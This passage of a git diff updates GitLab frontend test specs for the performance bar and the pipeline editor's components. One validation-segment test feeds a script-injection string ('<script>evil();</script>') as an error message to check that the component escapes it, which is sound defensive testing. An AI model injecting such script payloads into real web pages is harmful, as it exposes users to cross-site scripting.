+ it('displays a summary section', () => {
+ expect(findAllSummaryItems()).toEqual(['Total 456']);
+ });
+ });
+
+ describe('when the details have both summary and summaryOptions field', () => {
+ beforeEach(() => {
+ createComponent({
+ currentRequest: {
+ details: {
+ gitaly: {
+ ...gitalyDetails,
+ summary: {
+ 'In controllers': 100,
+ 'In middlewares': 20,
+ },
+ summaryOptions: {
+ hideDuration: true,
+ hideTotal: true,
+ },
+ },
+ },
+ },
+ });
+ });
+
+ it('displays a summary section', () => {
+ expect(findAllSummaryItems()).toEqual(['In controllers 100', 'In middlewares 20']);
+ });
+ });
+ });
+
+ describe("when the details don't have a start field", () => {
+ beforeEach(() => {
+ createComponent({
+ currentRequest: {
+ details: {
+ gitaly: {
+ duration: '123ms',
+ calls: 456,
details: requestDetails,
warnings: ['gitaly calls: 456 over 30'],
},
},
},
- metric: 'gitaly',
- header: 'Gitaly calls',
- keys: ['feature', 'request'],
});
});
- it('displays details', () => {
- expect(wrapper.text().replace(/\s+/g, ' ')).toContain('123ms / 456');
+ it('displays details header', () => {
+ expect(findDetailsLabel().text()).toBe('123ms / 456');
+ });
+
+ it('displays a basic summary section', () => {
+ expect(findAllSummaryItems()).toEqual(['Total 456', 'Total duration 123ms']);
+ });
+
+ it('sorts the details by descending duration order', () => {
+ expect(findAllDetailDurations()).toEqual(['100ms', '23ms']);
+ });
+
+ it('does not display sort by switcher', () => {
+ expect(findSortOrderSwitcher().exists()).toBe(false);
});
it('adds a modal with a table of the details', () => {
@@ -119,17 +264,75 @@ describe('detailedMetric', () => {
findExpandedBacktraceBtnAtIndex(0).vm.$emit('click');
await nextTick();
expect(findAllTraceBlocks()).toHaveLength(1);
- expect(findTraceBlockAtIndex(0).text()).toContain(requestDetails[0].backtrace[0]);
+ expect(findTraceBlockAtIndex(0).text()).toContain(requestDetails[1].backtrace[0]);
secondExpandButton.vm.$emit('click');
await nextTick();
expect(findAllTraceBlocks()).toHaveLength(2);
- expect(findTraceBlockAtIndex(1).text()).toContain(requestDetails[1].backtrace[0]);
+ expect(findTraceBlockAtIndex(1).text()).toContain(requestDetails[0].backtrace[0]);
secondExpandButton.vm.$emit('click');
await nextTick();
expect(findAllTraceBlocks()).toHaveLength(1);
- expect(findTraceBlockAtIndex(0).text()).toContain(requestDetails[0].backtrace[0]);
+ expect(findTraceBlockAtIndex(0).text()).toContain(requestDetails[1].backtrace[0]);
+ });
+ });
+
+ describe('when the details have a start field', () => {
+ const requestDetailsWithStart = [
+ {
+ start: '2021-03-18 11:41:49.846356 +0700',
+ duration: 23,
+ feature: 'rebase_in_progress',
+ request: '',
+ },
+ {
+ start: '2021-03-18 11:42:11.645711 +0700',
+ duration: 75,
+ feature: 'find_commit',
+ request: 'abcdef',
+ },
+ {
+ start: '2021-03-18 11:42:10.645711 +0700',
+ duration: 100,
+ feature: 'find_commit',
+ request: 'abcdef',
+ },
+ ];
+
+ beforeEach(() => {
+ createComponent({
+ currentRequest: {
+ details: {
+ gitaly: {
+ duration: '123ms',
+ calls: 456,
+ details: requestDetailsWithStart,
+ warnings: ['gitaly calls: 456 over 30'],
+ },
+ },
+ },
+ metric: 'gitaly',
+ header: 'Gitaly calls',
+ keys: ['feature', 'request'],
+ });
+ });
+
+ it('sorts the details by descending duration order', () => {
+ expect(findAllDetailDurations()).toEqual(['100ms', '75ms', '23ms']);
+ });
+
+ it('displays sort by switcher', () => {
+ expect(findSortOrderSwitcher().exists()).toBe(true);
+ });
+
+ it('allows switch sorting orders', async () => {
+ findSortOrderSwitcher().vm.$emit('input', sortOrders.CHRONOLOGICAL);
+ await nextTick();
+ expect(findAllDetailDurations()).toEqual(['23ms', '100ms', '75ms']);
+ findSortOrderSwitcher().vm.$emit('input', sortOrders.DURATION);
+ await nextTick();
+ expect(findAllDetailDurations()).toEqual(['100ms', '75ms', '23ms']);
});
});
@@ -145,10 +348,7 @@ describe('detailedMetric', () => {
},
},
},
- metric: 'gitaly',
title: 'custom',
- header: 'Gitaly calls',
- keys: ['feature', 'request'],
});
});
@@ -156,31 +356,39 @@ describe('detailedMetric', () => {
expect(wrapper.text()).toContain('custom');
});
});
- });
- describe('when the details has no duration', () => {
- beforeEach(() => {
- createComponent({
- currentRequest: {
- details: {
- bullet: {
- calls: '456',
- details: [{ notification: 'notification', backtrace: 'backtrace' }],
+ describe('when the details has no duration', () => {
+ beforeEach(() => {
+ createComponent({
+ currentRequest: {
+ details: {
+ bullet: {
+ calls: '456',
+ details: [{ notification: 'notification', backtrace: 'backtrace' }],
+ },
},
},
- },
- metric: 'bullet',
- header: 'Bullet notifications',
- keys: ['notification'],
+ metric: 'bullet',
+ header: 'Bullet notifications',
+ keys: ['notification'],
+ });
});
- });
- it('renders only the number of calls', async () => {
- expect(trimText(wrapper.text())).toEqual('456 notification bullet');
+ it('displays calls in the label', () => {
+ expect(findDetailsLabel().text()).toBe('456');
+ });
+
+ it('displays a basic summary section', () => {
+ expect(findAllSummaryItems()).toEqual(['Total 456']);
+ });
+
+ it('renders only the number of calls', async () => {
+ expect(trimText(wrapper.text())).toContain('notification bullet');
- findExpandedBacktraceBtnAtIndex(0).vm.$emit('click');
- await nextTick();
- expect(trimText(wrapper.text())).toEqual('456 notification backtrace bullet');
+ findExpandedBacktraceBtnAtIndex(0).vm.$emit('click');
+ await nextTick();
+ expect(trimText(wrapper.text())).toContain('notification backtrace bullet');
+ });
});
});
});
diff --git a/spec/frontend/performance_bar/stores/performance_bar_store_spec.js b/spec/frontend/performance_bar/stores/performance_bar_store_spec.js
index 94dc1237cb0..b7324ba2f6e 100644
--- a/spec/frontend/performance_bar/stores/performance_bar_store_spec.js
+++ b/spec/frontend/performance_bar/stores/performance_bar_store_spec.js
@@ -59,4 +59,44 @@ describe('PerformanceBarStore', () => {
expect(store.findRequest('id').details.test.calls).toEqual(123);
});
});
+
+ describe('canTrackRequest', () => {
+ let store;
+
+ beforeEach(() => {
+ store = new PerformanceBarStore();
+ });
+
+ it('limits to 10 requests for GraphQL', () => {
+ expect(store.canTrackRequest('https://gitlab.com/api/graphql')).toBe(true);
+
+ store.addRequest('0', 'https://gitlab.com/api/graphql');
+ store.addRequest('1', 'https://gitlab.com/api/graphql');
+ store.addRequest('2', 'https://gitlab.com/api/graphql');
+ store.addRequest('3', 'https://gitlab.com/api/graphql');
+ store.addRequest('4', 'https://gitlab.com/api/graphql');
+ store.addRequest('5', 'https://gitlab.com/api/graphql');
+ store.addRequest('6', 'https://gitlab.com/api/graphql');
+ store.addRequest('7', 'https://gitlab.com/api/graphql');
+ store.addRequest('8', 'https://gitlab.com/api/graphql');
+
+ expect(store.canTrackRequest('https://gitlab.com/api/graphql')).toBe(true);
+
+ store.addRequest('9', 'https://gitlab.com/api/graphql');
+
+ expect(store.canTrackRequest('https://gitlab.com/api/graphql')).toBe(false);
+ });
+
+ it('limits to 2 requests for all other URLs', () => {
+ expect(store.canTrackRequest('https://gitlab.com/api/v4/users/1')).toBe(true);
+
+ store.addRequest('a', 'https://gitlab.com/api/v4/users/1');
+
+ expect(store.canTrackRequest('https://gitlab.com/api/v4/users/1')).toBe(true);
+
+ store.addRequest('b', 'https://gitlab.com/api/v4/users/1');
+
+ expect(store.canTrackRequest('https://gitlab.com/api/v4/users/1')).toBe(false);
+ });
+ });
});
diff --git a/spec/frontend/pipeline_editor/components/code_snippet_alert/code_snippet_alert_spec.js b/spec/frontend/pipeline_editor/components/code_snippet_alert/code_snippet_alert_spec.js
new file mode 100644
index 00000000000..d03f12bc249
--- /dev/null
+++ b/spec/frontend/pipeline_editor/components/code_snippet_alert/code_snippet_alert_spec.js
@@ -0,0 +1,61 @@
+import { within } from '@testing-library/dom';
+import { mount } from '@vue/test-utils';
+import { merge } from 'lodash';
+import { TEST_HOST } from 'helpers/test_constants';
+import { extendedWrapper } from 'helpers/vue_test_utils_helper';
+import CodeSnippetAlert from '~/pipeline_editor/components/code_snippet_alert/code_snippet_alert.vue';
+import { CODE_SNIPPET_SOURCE_API_FUZZING } from '~/pipeline_editor/components/code_snippet_alert/constants';
+
+const apiFuzzingConfigurationPath = '/namespace/project/-/security/configuration/api_fuzzing';
+
+describe('EE - CodeSnippetAlert', () => {
+ let wrapper;
+
+ const createWrapper = (options) => {
+ wrapper = extendedWrapper(
+ mount(
+ CodeSnippetAlert,
+ merge(
+ {
+ provide: {
+ configurationPaths: {
+ [CODE_SNIPPET_SOURCE_API_FUZZING]: apiFuzzingConfigurationPath,
+ },
+ },
+ propsData: {
+ source: CODE_SNIPPET_SOURCE_API_FUZZING,
+ },
+ },
+ options,
+ ),
+ ),
+ );
+ };
+
+ const withinComponent = () => within(wrapper.element);
+ const findDocsLink = () => withinComponent().getByRole('link', { name: /read documentation/i });
+ const findConfigurationLink = () =>
+ withinComponent().getByRole('link', { name: /Go back to configuration/i });
+
+ beforeEach(() => {
+ createWrapper();
+ });
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ it("provides a link to the feature's documentation", () => {
+ const docsLink = findDocsLink();
+
+ expect(docsLink).not.toBe(null);
+ expect(docsLink.href).toBe(`${TEST_HOST}/help/user/application_security/api_fuzzing/index`);
+ });
+
+ it("provides a link to the feature's configuration form", () => {
+ const configurationLink = findConfigurationLink();
+
+ expect(configurationLink).not.toBe(null);
+ expect(configurationLink.href).toBe(TEST_HOST + apiFuzzingConfigurationPath);
+ });
+});
diff --git a/spec/frontend/pipeline_editor/components/editor/ci_config_merged_preview_spec.js b/spec/frontend/pipeline_editor/components/editor/ci_config_merged_preview_spec.js
index 866069f337b..fb191fccb0d 100644
--- a/spec/frontend/pipeline_editor/components/editor/ci_config_merged_preview_spec.js
+++ b/spec/frontend/pipeline_editor/components/editor/ci_config_merged_preview_spec.js
@@ -1,10 +1,8 @@
-import { GlAlert, GlIcon } from '@gitlab/ui';
+import { GlIcon } from '@gitlab/ui';
import { shallowMount } from '@vue/test-utils';
import { EDITOR_READY_EVENT } from '~/editor/constants';
import CiConfigMergedPreview from '~/pipeline_editor/components/editor/ci_config_merged_preview.vue';
-import { CI_CONFIG_STATUS_INVALID } from '~/pipeline_editor/constants';
-import { INVALID_CI_CONFIG } from '~/pipelines/constants';
import { mockLintResponse, mockCiConfigPath } from '../../mock_data';
describe('Text editor component', () => {
@@ -33,28 +31,11 @@ describe('Text editor component', () => {
});
};
- const findAlert = () => wrapper.findComponent(GlAlert);
const findIcon = () => wrapper.findComponent(GlIcon);
const findEditor = () => wrapper.findComponent(MockEditorLite);
afterEach(() => {
wrapper.destroy();
- wrapper = null;
- });
-
- describe('when status is invalid', () => {
- beforeEach(() => {
- createComponent({ props: { ciConfigData: { status: CI_CONFIG_STATUS_INVALID } } });
- });
-
- it('show an error message', () => {
- expect(findAlert().exists()).toBe(true);
- expect(findAlert().text()).toBe(wrapper.vm.$options.errorTexts[INVALID_CI_CONFIG]);
- });
-
- it('hides the editor', () => {
- expect(findEditor().exists()).toBe(false);
- });
});
describe('when status is valid', () => {
diff --git a/spec/frontend/pipeline_editor/components/file-nav/branch_switcher_spec.js b/spec/frontend/pipeline_editor/components/file-nav/branch_switcher_spec.js
new file mode 100644
index 00000000000..fa937100982
--- /dev/null
+++ b/spec/frontend/pipeline_editor/components/file-nav/branch_switcher_spec.js
@@ -0,0 +1,123 @@
+import { GlDropdown, GlDropdownItem, GlIcon } from '@gitlab/ui';
+import { shallowMount, createLocalVue } from '@vue/test-utils';
+import VueApollo from 'vue-apollo';
+import createMockApollo from 'helpers/mock_apollo_helper';
+import waitForPromises from 'helpers/wait_for_promises';
+import BranchSwitcher from '~/pipeline_editor/components/file_nav/branch_switcher.vue';
+import { DEFAULT_FAILURE } from '~/pipeline_editor/constants';
+import { mockDefaultBranch, mockProjectBranches, mockProjectFullPath } from '../../mock_data';
+
+const localVue = createLocalVue();
+localVue.use(VueApollo);
+
+describe('Pipeline editor branch switcher', () => {
+ let wrapper;
+ let mockApollo;
+ let mockAvailableBranchQuery;
+
+ const createComponentWithApollo = () => {
+ const resolvers = {
+ Query: {
+ project: mockAvailableBranchQuery,
+ },
+ };
+
+ mockApollo = createMockApollo([], resolvers);
+ wrapper = shallowMount(BranchSwitcher, {
+ localVue,
+ apolloProvider: mockApollo,
+ provide: {
+ projectFullPath: mockProjectFullPath,
+ },
+ data() {
+ return {
+ currentBranch: mockDefaultBranch,
+ };
+ },
+ });
+ };
+
+ const findDropdown = () => wrapper.findComponent(GlDropdown);
+ const findDropdownItems = () => wrapper.findAll(GlDropdownItem);
+
+ beforeEach(() => {
+ mockAvailableBranchQuery = jest.fn();
+ });
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ describe('while querying', () => {
+ beforeEach(() => {
+ createComponentWithApollo();
+ });
+
+ it('does not render dropdown', () => {
+ expect(findDropdown().exists()).toBe(false);
+ });
+ });
+
+ describe('after querying', () => {
+ beforeEach(async () => {
+ mockAvailableBranchQuery.mockResolvedValue(mockProjectBranches);
+ createComponentWithApollo();
+ await waitForPromises();
+ });
+
+ it('query is called with correct variables', async () => {
+ expect(mockAvailableBranchQuery).toHaveBeenCalledTimes(1);
+ expect(mockAvailableBranchQuery).toHaveBeenCalledWith(
+ expect.anything(),
+ {
+ fullPath: mockProjectFullPath,
+ },
+ expect.anything(),
+ expect.anything(),
+ );
+ });
+
+ it('renders list of branches', () => {
+ expect(findDropdown().exists()).toBe(true);
+ expect(findDropdownItems()).toHaveLength(mockProjectBranches.repository.branches.length);
+ });
+
+ it('renders current branch at the top of the list with a check mark', () => {
+ const firstDropdownItem = findDropdownItems().at(0);
+ const icon = firstDropdownItem.findComponent(GlIcon);
+
+ expect(firstDropdownItem.text()).toBe(mockDefaultBranch);
+ expect(icon.exists()).toBe(true);
+ expect(icon.props('name')).toBe('check');
+ });
+
+ it('does not render check mark for other branches', () => {
+ const secondDropdownItem = findDropdownItems().at(1);
+ const icon = secondDropdownItem.findComponent(GlIcon);
+
+ expect(icon.classes()).toContain('gl-visibility-hidden');
+ });
+ });
+
+ describe('on fetch error', () => {
+ beforeEach(async () => {
+ mockAvailableBranchQuery.mockResolvedValue(new Error());
+ createComponentWithApollo();
+ await waitForPromises();
+ });
+
+ it('does not render dropdown', () => {
+ expect(findDropdown().exists()).toBe(false);
+ });
+
+ it('shows an error message', () => {
+ expect(wrapper.emitted('showError')).toBeDefined();
+ expect(wrapper.emitted('showError')[0]).toEqual([
+ {
+ reasons: [wrapper.vm.$options.i18n.fetchError],
+ type: DEFAULT_FAILURE,
+ },
+ ]);
+ });
+ });
+});
diff --git a/spec/frontend/pipeline_editor/components/file-nav/pipeline_editor_file_nav_spec.js b/spec/frontend/pipeline_editor/components/file-nav/pipeline_editor_file_nav_spec.js
new file mode 100644
index 00000000000..94a0a7d14ee
--- /dev/null
+++ b/spec/frontend/pipeline_editor/components/file-nav/pipeline_editor_file_nav_spec.js
@@ -0,0 +1,49 @@
+import { shallowMount } from '@vue/test-utils';
+import BranchSwitcher from '~/pipeline_editor/components/file_nav/branch_switcher.vue';
+import PipelineEditorFileNav from '~/pipeline_editor/components/file_nav/pipeline_editor_file_nav.vue';
+
+describe('Pipeline editor file nav', () => {
+ let wrapper;
+ const mockProvide = {
+ glFeatures: {
+ pipelineEditorBranchSwitcher: true,
+ },
+ };
+
+ const createComponent = ({ provide = {} } = {}) => {
+ wrapper = shallowMount(PipelineEditorFileNav, {
+ provide: {
+ ...mockProvide,
+ ...provide,
+ },
+ });
+ };
+
+ const findBranchSwitcher = () => wrapper.findComponent(BranchSwitcher);
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ describe('template', () => {
+ beforeEach(() => {
+ createComponent();
+ });
+
+ it('renders the branch switcher', () => {
+ expect(findBranchSwitcher().exists()).toBe(true);
+ });
+ });
+
+ describe('with branch switcher feature flag OFF', () => {
+ it('does not render the branch switcher', () => {
+ createComponent({
+ provide: {
+ glFeatures: { pipelineEditorBranchSwitcher: false },
+ },
+ });
+
+ expect(findBranchSwitcher().exists()).toBe(false);
+ });
+ });
+});
diff --git a/spec/frontend/pipeline_editor/components/header/pipeline_editor_header_spec.js b/spec/frontend/pipeline_editor/components/header/pipeline_editor_header_spec.js
index ef8ca574e59..27652bb268b 100644
--- a/spec/frontend/pipeline_editor/components/header/pipeline_editor_header_spec.js
+++ b/spec/frontend/pipeline_editor/components/header/pipeline_editor_header_spec.js
@@ -13,7 +13,7 @@ describe('Pipeline editor header', () => {
},
};
- const createComponent = ({ provide = {} } = {}) => {
+ const createComponent = ({ provide = {}, props = {} } = {}) => {
wrapper = shallowMount(PipelineEditorHeader, {
provide: {
...mockProvide,
@@ -23,6 +23,8 @@ describe('Pipeline editor header', () => {
ciConfigData: mockLintResponse,
ciFileContent: mockCiYml,
isCiConfigDataLoading: false,
+ isNewCiConfigFile: false,
+ ...props,
},
});
};
@@ -36,15 +38,21 @@ describe('Pipeline editor header', () => {
});
describe('template', () => {
- beforeEach(() => {
- createComponent();
+ it('hides the pipeline status for new projects without a CI file', () => {
+ createComponent({ props: { isNewCiConfigFile: true } });
+
+ expect(findPipelineStatus().exists()).toBe(false);
});
- it('renders the pipeline status', () => {
+ it('renders the pipeline status when CI file exists', () => {
+ createComponent({ props: { isNewCiConfigFile: false } });
+
expect(findPipelineStatus().exists()).toBe(true);
});
it('renders the validation segment', () => {
+ createComponent();
+
expect(findValidationSegment().exists()).toBe(true);
});
});
diff --git a/spec/frontend/pipeline_editor/components/header/pipeline_status_spec.js b/spec/frontend/pipeline_editor/components/header/pipeline_status_spec.js
index de6e112866b..b6d49d0d0f8 100644
--- a/spec/frontend/pipeline_editor/components/header/pipeline_status_spec.js
+++ b/spec/frontend/pipeline_editor/components/header/pipeline_status_spec.js
@@ -4,6 +4,7 @@ import VueApollo from 'vue-apollo';
import createMockApollo from 'helpers/mock_apollo_helper';
import waitForPromises from 'helpers/wait_for_promises';
import PipelineStatus, { i18n } from '~/pipeline_editor/components/header/pipeline_status.vue';
+import getPipelineQuery from '~/pipeline_editor/graphql/queries/client/pipeline.graphql';
import CiIcon from '~/vue_shared/components/ci_icon.vue';
import { mockCommitSha, mockProjectPipeline, mockProjectFullPath } from '../../mock_data';
@@ -19,32 +20,9 @@ describe('Pipeline Status', () => {
let mockApollo;
let mockPipelineQuery;
- const createComponent = ({ hasPipeline = true, isQueryLoading = false }) => {
- const pipeline = hasPipeline
- ? { loading: isQueryLoading, ...mockProjectPipeline.pipeline }
- : { loading: isQueryLoading };
-
- wrapper = shallowMount(PipelineStatus, {
- provide: mockProvide,
- stubs: { GlLink, GlSprintf },
- data: () => (hasPipeline ? { pipeline } : {}),
- mocks: {
- $apollo: {
- queries: {
- pipeline,
- },
- },
- },
- });
- };
-
const createComponentWithApollo = () => {
- const resolvers = {
- Query: {
- project: mockPipelineQuery,
- },
- };
- mockApollo = createMockApollo([], resolvers);
+ const handlers = [[getPipelineQuery, mockPipelineQuery]];
+ mockApollo = createMockApollo(handlers);
wrapper = shallowMount(PipelineStatus, {
localVue,
@@ -78,16 +56,17 @@ describe('Pipeline Status', () => {
wrapper = null;
});
- describe('while querying', () => {
- it('renders loading icon', () => {
- createComponent({ isQueryLoading: true, hasPipeline: false });
+ describe('loading icon', () => {
+ it('renders while query is being fetched', () => {
+ createComponentWithApollo();
expect(findLoadingIcon().exists()).toBe(true);
expect(findPipelineLoadingMsg().text()).toBe(i18n.fetchLoading);
});
- it('does not render loading icon if pipeline data is already set', () => {
- createComponent({ isQueryLoading: true });
+ it('does not render if query is no longer loading', async () => {
+ createComponentWithApollo();
+ await waitForPromises();
expect(findLoadingIcon().exists()).toBe(false);
});
@@ -96,7 +75,9 @@ describe('Pipeline Status', () => {
describe('when querying data', () => {
describe('when data is set', () => {
beforeEach(async () => {
- mockPipelineQuery.mockResolvedValue(mockProjectPipeline);
+ mockPipelineQuery.mockResolvedValue({
+ data: { project: mockProjectPipeline },
+ });
createComponentWithApollo();
await waitForPromises();
@@ -104,14 +85,10 @@ describe('Pipeline Status', () => {
it('query is called with correct variables', async () => {
expect(mockPipelineQuery).toHaveBeenCalledTimes(1);
- expect(mockPipelineQuery).toHaveBeenCalledWith(
- expect.anything(),
- {
- fullPath: mockProjectFullPath,
- },
- expect.anything(),
- expect.anything(),
- );
+ expect(mockPipelineQuery).toHaveBeenCalledWith({
+ fullPath: mockProjectFullPath,
+ sha: mockCommitSha,
+ });
});
it('does not render error', () => {
diff --git a/spec/frontend/pipeline_editor/components/header/validation_segment_spec.js b/spec/frontend/pipeline_editor/components/header/validation_segment_spec.js
index 274c2d1b8da..fd8a100bb2c 100644
--- a/spec/frontend/pipeline_editor/components/header/validation_segment_spec.js
+++ b/spec/frontend/pipeline_editor/components/header/validation_segment_spec.js
@@ -6,13 +6,19 @@ import { sprintf } from '~/locale';
import ValidationSegment, {
i18n,
} from '~/pipeline_editor/components/header/validation_segment.vue';
-import { CI_CONFIG_STATUS_INVALID } from '~/pipeline_editor/constants';
+import {
+ CI_CONFIG_STATUS_INVALID,
+ EDITOR_APP_STATUS_EMPTY,
+ EDITOR_APP_STATUS_INVALID,
+ EDITOR_APP_STATUS_LOADING,
+ EDITOR_APP_STATUS_VALID,
+} from '~/pipeline_editor/constants';
import { mockYmlHelpPagePath, mergeUnwrappedCiConfig, mockCiYml } from '../../mock_data';
describe('Validation segment component', () => {
let wrapper;
- const createComponent = (props = {}) => {
+ const createComponent = ({ props = {}, appStatus }) => {
wrapper = extendedWrapper(
shallowMount(ValidationSegment, {
provide: {
@@ -21,9 +27,14 @@ describe('Validation segment component', () => {
propsData: {
ciConfig: mergeUnwrappedCiConfig(),
ciFileContent: mockCiYml,
- loading: false,
...props,
},
+ // Simulate graphQL client query result
+ data() {
+ return {
+ appStatus,
+ };
+ },
}),
);
};
@@ -34,18 +45,17 @@ describe('Validation segment component', () => {
afterEach(() => {
wrapper.destroy();
- wrapper = null;
});
it('shows the loading state', () => {
- createComponent({ loading: true });
+ createComponent({ appStatus: EDITOR_APP_STATUS_LOADING });
expect(wrapper.text()).toBe(i18n.loading);
});
describe('when config is empty', () => {
beforeEach(() => {
- createComponent({ ciFileContent: '' });
+ createComponent({ appStatus: EDITOR_APP_STATUS_EMPTY });
});
it('has check icon', () => {
@@ -59,7 +69,7 @@ describe('Validation segment component', () => {
describe('when config is valid', () => {
beforeEach(() => {
- createComponent({});
+ createComponent({ appStatus: EDITOR_APP_STATUS_VALID });
});
it('has check icon', () => {
@@ -79,12 +89,9 @@ describe('Validation segment component', () => {
describe('when config is invalid', () => {
beforeEach(() => {
createComponent({
- ciConfig: mergeUnwrappedCiConfig({
- status: CI_CONFIG_STATUS_INVALID,
- }),
+ appStatus: EDITOR_APP_STATUS_INVALID,
});
});
-
it('has warning icon', () => {
expect(findIcon().props('name')).toBe('warning-solid');
});
@@ -93,43 +100,53 @@ describe('Validation segment component', () => {
expect(findValidationMsg().text()).toBe(i18n.invalid);
});
- it('shows an invalid state with an error', () => {
+ it('shows the learn more link', () => {
+ expect(findLearnMoreLink().attributes('href')).toBe(mockYmlHelpPagePath);
+ expect(findLearnMoreLink().text()).toBe('Learn more');
+ });
+
+ describe('with multiple errors', () => {
const firstError = 'First Error';
const secondError = 'Second Error';
- createComponent({
- ciConfig: mergeUnwrappedCiConfig({
- status: CI_CONFIG_STATUS_INVALID,
- errors: [firstError, secondError],
- }),
+ beforeEach(() => {
+ createComponent({
+ props: {
+ ciConfig: mergeUnwrappedCiConfig({
+ status: CI_CONFIG_STATUS_INVALID,
+ errors: [firstError, secondError],
+ }),
+ },
+ });
+ });
+ it('shows an invalid state with an error', () => {
+ // Test the error is shown _and_ the string matches
+ expect(findValidationMsg().text()).toContain(firstError);
+ expect(findValidationMsg().text()).toBe(
+ sprintf(i18n.invalidWithReason, { reason: firstError }),
+ );
});
-
- // Test the error is shown _and_ the string matches
- expect(findValidationMsg().text()).toContain(firstError);
- expect(findValidationMsg().text()).toBe(
- sprintf(i18n.invalidWithReason, { reason: firstError }),
- );
});
- it('shows an invalid state with an error while preventing XSS', () => {
+ describe('with XSS inside the error', () => {
const evilError = '<script>evil();</script>';
- createComponent({
- ciConfig: mergeUnwrappedCiConfig({
- status: CI_CONFIG_STATUS_INVALID,
- errors: [evilError],
- }),
+ beforeEach(() => {
+ createComponent({
+ props: {
+ ciConfig: mergeUnwrappedCiConfig({
+ status: CI_CONFIG_STATUS_INVALID,
+ errors: [evilError],
+ }),
+ },
+ });
});
+ it('shows an invalid state with an error while preventing XSS', () => {
+ const { innerHTML } = findValidationMsg().element;
- const { innerHTML } = findValidationMsg().element;
-
- expect(innerHTML).not.toContain(evilError);
- expect(innerHTML).toContain(escape(evilError));
- });
-
- it('shows the learn more link', () => {
- expect(findLearnMoreLink().attributes('href')).toBe(mockYmlHelpPagePath);
- expect(findLearnMoreLink().text()).toBe('Learn more');
+ expect(innerHTML).not.toContain(evilError);
+ expect(innerHTML).toContain(escape(evilError));
+ });
});
});
});
diff --git a/spec/frontend/pipeline_editor/components/lint/ci_lint_results_spec.js b/spec/frontend/pipeline_editor/components/lint/ci_lint_results_spec.js
index 6775433deb9..5fc0880b09e 100644
--- a/spec/frontend/pipeline_editor/components/lint/ci_lint_results_spec.js
+++ b/spec/frontend/pipeline_editor/components/lint/ci_lint_results_spec.js
@@ -7,7 +7,7 @@ import { mockJobs, mockErrors, mockWarnings } from '../../mock_data';
describe('CI Lint Results', () => {
let wrapper;
const defaultProps = {
- valid: true,
+ isValid: true,
jobs: mockJobs,
errors: [],
warnings: [],
@@ -42,7 +42,6 @@ describe('CI Lint Results', () => {
afterEach(() => {
wrapper.destroy();
- wrapper = null;
});
describe('Empty results', () => {
@@ -72,7 +71,7 @@ describe('CI Lint Results', () => {
describe('Invalid results', () => {
beforeEach(() => {
- createComponent({ valid: false, errors: mockErrors, warnings: mockWarnings }, mount);
+ createComponent({ isValid: false, errors: mockErrors, warnings: mockWarnings }, mount);
});
it('does not display the table', () => {
diff --git a/spec/frontend/pipeline_editor/components/lint/ci_lint_spec.js b/spec/frontend/pipeline_editor/components/lint/ci_lint_spec.js
index fdddca3d62b..238942a34ff 100644
--- a/spec/frontend/pipeline_editor/components/lint/ci_lint_spec.js
+++ b/spec/frontend/pipeline_editor/components/lint/ci_lint_spec.js
@@ -1,13 +1,12 @@
import { GlAlert, GlLink } from '@gitlab/ui';
-import { shallowMount, mount } from '@vue/test-utils';
+import { mount, shallowMount } from '@vue/test-utils';
import CiLint from '~/pipeline_editor/components/lint/ci_lint.vue';
-import { CI_CONFIG_STATUS_INVALID } from '~/pipeline_editor/constants';
import { mergeUnwrappedCiConfig, mockLintHelpPagePath } from '../../mock_data';
describe('~/pipeline_editor/components/lint/ci_lint.vue', () => {
let wrapper;
- const createComponent = (props = {}, mountFn = shallowMount) => {
+ const createComponent = ({ props, mountFn = shallowMount } = {}) => {
wrapper = mountFn(CiLint, {
provide: {
lintHelpPagePath: mockLintHelpPagePath,
@@ -27,12 +26,11 @@ describe('~/pipeline_editor/components/lint/ci_lint.vue', () => {
afterEach(() => {
wrapper.destroy();
- wrapper = null;
});
describe('Valid Results', () => {
beforeEach(() => {
- createComponent({}, mount);
+ createComponent({ props: { isValid: true }, mountFn: mount });
});
it('displays valid results', () => {
@@ -66,14 +64,7 @@ describe('~/pipeline_editor/components/lint/ci_lint.vue', () => {
});
it('displays invalid results', () => {
- createComponent(
- {
- ciConfig: mergeUnwrappedCiConfig({
- status: CI_CONFIG_STATUS_INVALID,
- }),
- },
- mount,
- );
+ createComponent({ props: { isValid: false }, mountFn: mount });
expect(findAlert().text()).toMatch('Status: Syntax is incorrect.');
});
diff --git a/spec/frontend/pipeline_editor/components/pipeline_editor_tabs_spec.js b/spec/frontend/pipeline_editor/components/pipeline_editor_tabs_spec.js
index 24af17e9ce6..eba853180cd 100644
--- a/spec/frontend/pipeline_editor/components/pipeline_editor_tabs_spec.js
+++ b/spec/frontend/pipeline_editor/components/pipeline_editor_tabs_spec.js
@@ -4,8 +4,15 @@ import { nextTick } from 'vue';
import CiConfigMergedPreview from '~/pipeline_editor/components/editor/ci_config_merged_preview.vue';
import CiLint from '~/pipeline_editor/components/lint/ci_lint.vue';
import PipelineEditorTabs from '~/pipeline_editor/components/pipeline_editor_tabs.vue';
+import EditorTab from '~/pipeline_editor/components/ui/editor_tab.vue';
+import {
+ EDITOR_APP_STATUS_EMPTY,
+ EDITOR_APP_STATUS_ERROR,
+ EDITOR_APP_STATUS_LOADING,
+ EDITOR_APP_STATUS_INVALID,
+ EDITOR_APP_STATUS_VALID,
+} from '~/pipeline_editor/constants';
import PipelineGraph from '~/pipelines/components/pipeline_graph/pipeline_graph.vue';
-
import { mockLintResponse, mockCiYml } from '../mock_data';
describe('Pipeline editor tabs component', () => {
@@ -20,17 +27,27 @@ describe('Pipeline editor tabs component', () => {
},
};
- const createComponent = ({ props = {}, provide = {}, mountFn = shallowMount } = {}) => {
+ const createComponent = ({
+ props = {},
+ provide = {},
+ appStatus = EDITOR_APP_STATUS_VALID,
+ mountFn = shallowMount,
+ } = {}) => {
wrapper = mountFn(PipelineEditorTabs, {
propsData: {
ciConfigData: mockLintResponse,
ciFileContent: mockCiYml,
- isCiConfigDataLoading: false,
...props,
},
+ data() {
+ return {
+ appStatus,
+ };
+ },
provide: { ...mockProvide, ...provide },
stubs: {
TextEditor: MockTextEditor,
+ EditorTab,
},
});
};
@@ -49,7 +66,6 @@ describe('Pipeline editor tabs component', () => {
afterEach(() => {
wrapper.destroy();
- wrapper = null;
});
describe('editor tab', () => {
@@ -69,7 +85,7 @@ describe('Pipeline editor tabs component', () => {
describe('with feature flag on', () => {
describe('while loading', () => {
beforeEach(() => {
- createComponent({ props: { isCiConfigDataLoading: true } });
